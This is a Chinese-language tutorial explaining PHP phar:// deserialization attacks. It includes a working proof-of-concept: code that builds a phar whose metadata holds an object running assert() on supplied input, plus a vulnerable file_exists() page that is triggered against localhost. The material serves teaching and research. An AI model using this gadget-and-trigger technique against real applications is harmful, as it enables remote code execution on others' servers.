前言

一般說到反序列化漏洞，第一反應都是unserialize()函數。然而安全研究員Sam Thomas分享了議題It’s a PHP unserialization vulnerability Jim, but not as we know it，利用phar偽協議會將用戶自定義的meta-data序列化的形式存儲這一特性，擴展php反序列化的攻擊面。一般來說，文件操作都是可以觸發phar反序列化的。

可以上傳Phar文件
有可以利用的魔術方法
文件操作函數的參數可控

攻擊原理

phar結構

翻閱手冊可以知道，phar由四個部分組成，分別是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only)，以下是對詳細的介紹：

a stub

標識作用，格式為xxx<?php xxx; __HALT_COMPILER();?>，前面任意，但是一定要以__HALT_COMPILER();?>結尾，否則php無法識別這是一個phar。

a manifest describing the contents

phar文件實質上是一種壓縮文件，其中壓縮信息、權限等都在這一部分里。當然，我們所需的攻擊利用點meta-data序列化信息也在這一部分中。具體結構入圖2-1所示：

圖2-1 phar文件詳細描述信息

the file contents

被壓縮的文件。

[optional] a signature for verifying Phar integrity (phar file format only)

簽名，放在文件末尾。

測試

phar文件生成

根據文件結構我們來自己構建一個phar文件，php內置了一個Phar類。
注意：需要將php.ini中的phar.readonly設置成off。

# phar_gen.php
<?php

require_once('Evil.class.php');

$exception = new Evil('phpinfo()');

$phar = new Phar("vul.phar");

$phar->startBuffering();

$phar->addFromString("test.txt", "test");

$phar->setStub("<?php__HALT_COMPILER(); ?>");

$phar->setMetadata($exception);

$phar->stopBuffering();

?>

#eval.class.php
<?php
class Evil {
    protected $val;
    function __construct($val)
    {
        $this->val = $val;
    }
    function __wakeup() {
        assert($this->val);
    }
}
?>

執行之后生成一個vul.phar，用二進制編輯器打開，入圖2-2所示：

圖2-2 vul.phar

由圖2-2可以發現，meta-data已經以序列化的形式存在phar文件中。

反序列化

對應，肯定存在著反序列化的操作。php文件系統中很大一部分的函數在通過phar://解析時，存在著對meta-data反序列化的操作。
測試環境如下：

#test.php
<?php
require_once('Evil.class.php');
if ( file_exists($_REQUEST['url']) ) {
    echo 'success!';
} else {
    echo 'error!';
}
?>

訪問test.php， http://127.0.0.1/test.php?url=phar://vul.phar，得圖2-3。

圖2-3 執行成功

參考文章：
https://paper.seebug.org/680/